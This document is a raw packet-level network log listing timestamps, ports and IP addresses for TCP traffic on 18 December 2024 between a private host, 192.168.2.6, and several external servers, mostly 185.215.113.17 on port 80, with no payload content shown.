Dec 18, 2024 12:00:18.500797987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.501399040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.501538992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.501669884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.502177000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.502232075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.502275944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.502974033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.503046036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.503084898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.503146887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.503685951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.503741980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.503777027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.504205942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.504426956 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.504481077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.504530907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.505197048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.505328894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.505363941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.505445004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.505970001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.506030083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.506064892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.506110907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.506937027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.506989956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.507066011 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.507111073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.507260084 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:18.507342100 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:18.507464886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.507524014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.507560015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.507606030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.507747889 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:18.508236885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.508297920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.508332968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.508456945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.508949041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.509000063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.509041071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.509088993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.509726048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.509850025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.509916067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.510483027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.510601997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.510623932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.510647058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.511245012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.511265039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.511297941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.511317015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.512013912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.512104988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.512160063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.512743950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.512830019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.512871027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.512944937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.513523102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.513622046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.513653040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.513675928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.549978018 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:18.575762987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.575880051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.575922966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.575983047 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.576097965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.576200962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.576235056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.576333046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.576852083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.576935053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.576971054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.576987028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.577666998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.577721119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.577811956 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.577857018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.578435898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.578530073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.578579903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.579164982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.579185963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.579257011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.579271078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.579905987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.579956055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.579976082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.580153942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.580638885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.580697060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.580728054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.581145048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.581397057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.581502914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.581547022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.581619978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.582231998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.582293987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.582317114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.582362890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.616902113 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:18.617217064 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:18.617441893 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:18.632963896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.633060932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.633294106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.633351088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.633361101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.633528948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.633565903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.633578062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.634176970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.634237051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.634336948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.634388924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.634928942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.635035992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.635092020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.635143042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.635979891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.635993958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.636091948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.636343002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.636445045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.636507034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.636558056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.637300014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.637314081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.637351036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.637367010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.637974024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.638153076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.638212919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.638941050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.638955116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.638993979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.639009953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.639411926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.639462948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.639471054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.639516115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.639944077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.640116930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.640170097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.640682936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.640743017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.640769958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.640815020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.641926050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.641979933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.642383099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.642486095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.644190073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.644202948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.644215107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.644226074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.644241095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.644253016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.644257069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.644295931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.644306898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.644777060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.644828081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.645098925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.645179987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.645411015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.645464897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.645729065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.645781994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.646368027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.646380901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.646424055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.646460056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.647048950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.647068977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.647111893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.647129059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.647674084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.647686005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.647718906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.647732973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.648451090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.648555040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.648622990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.648670912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.649099112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.649156094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.649413109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.649585962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.649796963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.649842024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.690845966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.690902948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.690932989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.691001892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.691168070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.691212893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.691243887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.691291094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.691951036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.692004919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.692250967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.692310095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.692343950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.692390919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.692892075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.693058014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.693090916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.693121910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.693681002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.693739891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.693779945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.693831921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.694420099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.694485903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.694529057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.694576979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.695149899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.695208073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.695250034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.695295095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.695900917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.695956945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.695983887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.696038008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.697900057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.697963953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.699306965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699335098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699348927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699361086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699368000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.699373007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699385881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699390888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.699399948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699409962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.699481010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.699481010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.699837923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.699898005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.699971914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.700028896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.700805902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.700870991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.700978041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.701077938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.701637030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.701724052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.701802015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.701931000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.702323914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.702387094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.702490091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.702538967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.703090906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.703104019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.703155994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.703188896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.703938007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.703989029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.704092026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.704147100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.704576969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.704588890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.704627037 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.704659939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.705214024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.705224991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.705271959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.726202965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:18.726313114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:18.730499029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:18.767524004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.767591000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.767642021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.767654896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.767699957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.767818928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.767832994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.767874002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.767909050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.768637896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.768724918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.768842936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.768898964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.769167900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.769229889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.769280910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.769352913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.770004988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.770018101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.770108938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.770709991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.770782948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.770885944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.770944118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.771445036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.771524906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.771570921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.771781921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.772308111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.772320986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.772419930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.772751093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.772866964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.773073912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.773154020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.773776054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.773837090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.773914099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.773997068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.824747086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.824765921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.824779034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.824790955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.824820995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.824876070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.825200081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.825270891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.825344086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.825395107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.826054096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.826070070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.826107979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.826740026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.826935053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.826996088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.827609062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.827622890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.827677011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.828115940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.828170061 CET	49913	80	192.168.2.6	185.215.113.17
